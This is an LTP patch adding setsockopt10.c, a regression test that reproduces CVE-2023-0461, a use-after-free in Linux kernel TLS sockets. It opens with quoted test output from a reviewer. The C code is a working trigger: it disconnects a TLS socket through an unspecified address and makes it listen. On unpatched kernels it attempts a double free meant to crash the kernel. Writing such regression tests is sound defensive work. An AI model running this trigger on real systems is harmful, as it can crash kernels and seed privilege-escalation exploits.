> # ./setsockopt10 > > ... > > setsockopt10.c:145: TINFO: parent: Disconnect by setting unspec address > > setsockopt10.c:153: TPASS: parent: Can't listen on disconnected TLS socket: EINVAL (22) > > setsockopt10.c:110: TINFO: child: connect for tcp2 connection > > setsockopt10.c:114: TINFO: child: could not connect to tcp1: ECONNREFUSED (111) > > Kind regards, > > Petr > > [1] https://en.wikipedia.org/wiki/NixOS > > [2] https://patchwork.ozlabs.org/project/ltp/list/?series=377451&state=* > > [3] https://patchwork.ozlabs.org/project/ltp/patch/20231013074748.702214-3-pvorel@suse.cz/
diff --git a/configure.ac b/configure.ac index 662c4c058..ee39f6b25 100644 --- a/configure.ac +++ b/configure.ac @@ -64,6 +64,7 @@ AC_CHECK_HEADERS_ONCE([ \ linux/netlink.h \ linux/seccomp.h \ linux/securebits.h \ + linux/tls.h \ linux/tty.h \ linux/types.h \ linux/userfaultfd.h \ diff --git a/runtest/cve b/runtest/cve index f9b36a182..569558af2 100644 --- a/runtest/cve +++ b/runtest/cve @@ -85,6 +85,7 @@ cve-2022-0847 dirtypipe cve-2022-2590 dirtyc0w_shmem cve-2022-23222 bpf_prog07 cve-2023-1829 tcindex01 +cve-2023-0461 setsockopt10 # Tests below may cause kernel memory leak cve-2020-25704 perf_event_open03 cve-2022-0185 fsconfig03 diff --git a/runtest/syscalls b/runtest/syscalls index 149c93820..471476411 100644 --- a/runtest/syscalls +++ b/runtest/syscalls @@ -1425,6 +1425,7 @@ setsockopt06 setsockopt06 setsockopt07 setsockopt07 setsockopt08 setsockopt08 setsockopt09 setsockopt09 +setsockopt10 setsockopt10 settimeofday01 settimeofday01 settimeofday02 settimeofday02 diff --git a/testcases/kernel/syscalls/setsockopt/.gitignore b/testcases/kernel/syscalls/setsockopt/.gitignore index fd3235bb3..5c05290a5 100644 --- a/testcases/kernel/syscalls/setsockopt/.gitignore +++ b/testcases/kernel/syscalls/setsockopt/.gitignore @@ -7,3 +7,4 @@ /setsockopt07 /setsockopt08 /setsockopt09 +/setsockopt10 diff --git a/testcases/kernel/syscalls/setsockopt/setsockopt10.c b/testcases/kernel/syscalls/setsockopt/setsockopt10.c new file mode 100644 index 000000000..a321fef7d --- /dev/null +++ b/testcases/kernel/syscalls/setsockopt/setsockopt10.c @@ -0,0 +1,204 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC Richard Palethorpe <rpalethorpe@suse.com> + */ +/*\ + * [Description] + * + * Reproducer for CVE-2023-0461 which is an exploitable use-after-free + * in a TLS socket. In fact it is exploitable in any User Level + * Protocol (ULP) which does not clone its context when accepting a + * connection. + * + * Because it does not clone the context, the child socket which is + * created on accept has a pointer to the listening socket's + * context. When the child is closed the parent's context is freed + * while it still has a reference to it. + * + * TLS can only be added to a socket which is connected. Not listening + * or disconnected, and a connected socket can not be set to + * listening. So we have to connect the socket, add TLS, then + * disconnect, then set it to listening. + * + * To my knowledge, setting a socket from open to disconnected + * requires a trick; we have to "connect" to an unspecified + * address. This could explain why the bug was not found earlier. + * + * The accepted fix was to disallow listening on sockets with a ULP + * set which does not have a clone function. + * + * The test uses two processes, first the child acts as a server so + * that the parent can create the TLS socket. Then the child connects + * to the parent's TLS socket. + * + * When we try to listen on the parent, the current kernel should + * return EINVAL. However if clone is implemented then this could + * become a valid operation. It is also quite easy to crash the kernel + * if we set some TLS options before doing a double free. + * + * commit 2c02d41d71f90a5168391b6a5f2954112ba2307c + * Author: Paolo Abeni <pabeni@redhat.com> + * Date: Tue Jan 3 12:19:17 2023 +0100 + * + * net/ulp: prevent ULP without clone op from entering the LISTEN status + */ + +#include "tst_test.h" + +#ifdef HAVE_LINUX_TLS_H + +#include <linux/tls.h> +#include "netinet/in.h" +#include "netinet/tcp.h" +#include "tst_checkpoint.h" +#include "tst_net.h" +#include "tst_safe_net.h" +#include "tst_taint.h" + +static struct tls12_crypto_info_aes_gcm_128 opts = { + .info = { + .version = TLS_1_2_VERSION, + .cipher_type = TLS_CIPHER_AES_GCM_128, + }, + .iv = { 'i', 'v' }, + .key = { 'k', 'e', 'y' }, + .salt = { 's', 'a', 'l', 't' }, + .rec_seq = { 'r', 'e', 'c', 's' }, +}; + +static struct sockaddr_in tcp0_addr, tcp1_addr; +static const struct sockaddr unspec_addr = { + .sa_family = AF_UNSPEC +}; + +static int tcp0_sk, tcp1_sk, tcp2_sk, tcp3_sk; + +static void setup(void) +{ + tst_init_sockaddr_inet(&tcp0_addr, "127.0.0.1", 0x7c90); + tst_init_sockaddr_inet(&tcp1_addr, "127.0.0.1", 0x7c91); +} + +static void cleanup(void) +{ + if (tcp0_sk > 0) + SAFE_CLOSE(tcp0_sk); + if (tcp1_sk > 0) + SAFE_CLOSE(tcp1_sk); + if (tcp2_sk > 0) + SAFE_CLOSE(tcp2_sk); + if (tcp3_sk > 0) + SAFE_CLOSE(tcp3_sk); +} + +static void child(void) +{ + tst_res(TINFO, "child: Listen for tcp1 connection"); + tcp0_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); + SAFE_BIND(tcp0_sk, (struct sockaddr *)&tcp0_addr, sizeof(tcp0_addr)); + SAFE_LISTEN(tcp0_sk, 1); + TST_CHECKPOINT_WAKE(0); + + tcp3_sk = SAFE_ACCEPT(tcp0_sk, NULL, 0); + TST_CHECKPOINT_WAIT(1); + SAFE_CLOSE(tcp3_sk); + SAFE_CLOSE(tcp0_sk); + + tcp3_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); + TST_CHECKPOINT_WAIT(2); + + tst_res(TINFO, "child: connect for tcp2 connection"); + TEST(connect(tcp3_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr))); + + if (TST_RET == -1) { + tst_res(TINFO | TTERRNO, "child: could not connect to tcp1"); + return; + } + + TST_CHECKPOINT_WAIT(3); +} + +static void run(void) +{ + const pid_t child_pid = SAFE_FORK(); + + if (child_pid == 0) { + child(); + return; + } + + tcp1_sk = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); + TST_CHECKPOINT_WAIT(0); + + tst_res(TINFO, "parent: Connect for tcp0 connection"); + SAFE_CONNECT(tcp1_sk, (struct sockaddr *)&tcp0_addr, sizeof(tcp0_addr)); + TEST(setsockopt(tcp1_sk, SOL_TCP, TCP_ULP, "tls", 3)); + + if (TST_RET == -1 && TST_ERR == ENOENT) + tst_brk(TCONF | TTERRNO, "parent: setsockopt failed: The TLS module is probably not loaded"); + else if (TST_RET == -1) + tst_brk(TBROK | TTERRNO, "parent: setsockopt failed"); + + SAFE_SETSOCKOPT(tcp1_sk, SOL_TLS, TLS_TX, &opts, sizeof(opts)); + TST_CHECKPOINT_WAKE(1); + + tst_res(TINFO, "parent: Disconnect by setting unspec address"); + SAFE_CONNECT(tcp1_sk, &unspec_addr, sizeof(unspec_addr)); + SAFE_BIND(tcp1_sk, (struct sockaddr *)&tcp1_addr, sizeof(tcp1_addr)); + + TEST(listen(tcp1_sk, 1)); + + if (TST_RET == -1) { + if (TST_ERR == EINVAL) + tst_res(TPASS | TTERRNO, "parent: Can't listen on disconnected TLS socket"); + else + tst_res(TCONF | TTERRNO, "parent: Can't listen on disconnected TLS socket, but the errno is not EINVAL as expected"); + + TST_CHECKPOINT_WAKE(2); + goto out; + } + + tst_res(TINFO, "parent: Can listen on disconnected TLS socket"); + TST_CHECKPOINT_WAKE(2); + + tcp2_sk = SAFE_ACCEPT(tcp1_sk, NULL, 0); + SAFE_CLOSE(tcp2_sk); + + tst_res(TINFO, "parent: Attempting double free, because we set cipher options this should result in an crash"); + SAFE_CLOSE(tcp1_sk); + + TST_CHECKPOINT_WAKE(3); + usleep(0); + + if (tst_taint_check()) + tst_res(TFAIL, "Kernel is tainted"); + else + tst_res(TCONF, "No kernel taint or crash, maybe the kernel can clone the TLS-ULP context now?"); + +out: + tst_reap_children(); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .forks_child = 1, + .needs_checkpoints = 1, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .needs_kconfigs = (const char *[]) { + "CONFIG_TLS", + NULL + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "2c02d41d71f90"}, + {"CVE", "2023-0461"}, + {} + } +}; + +#else + +TST_TEST_TCONF("linux/tls.h missing, we assume your system is too old"); + +#endif
Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com> --- configure.ac | 1 + runtest/cve | 1 + runtest/syscalls | 1 + .../kernel/syscalls/setsockopt/.gitignore | 1 + .../kernel/syscalls/setsockopt/setsockopt10.c | 204 ++++++++++++++++++ 5 files changed, 208 insertions(+) create mode 100644 testcases/kernel/syscalls/setsockopt/setsockopt10.c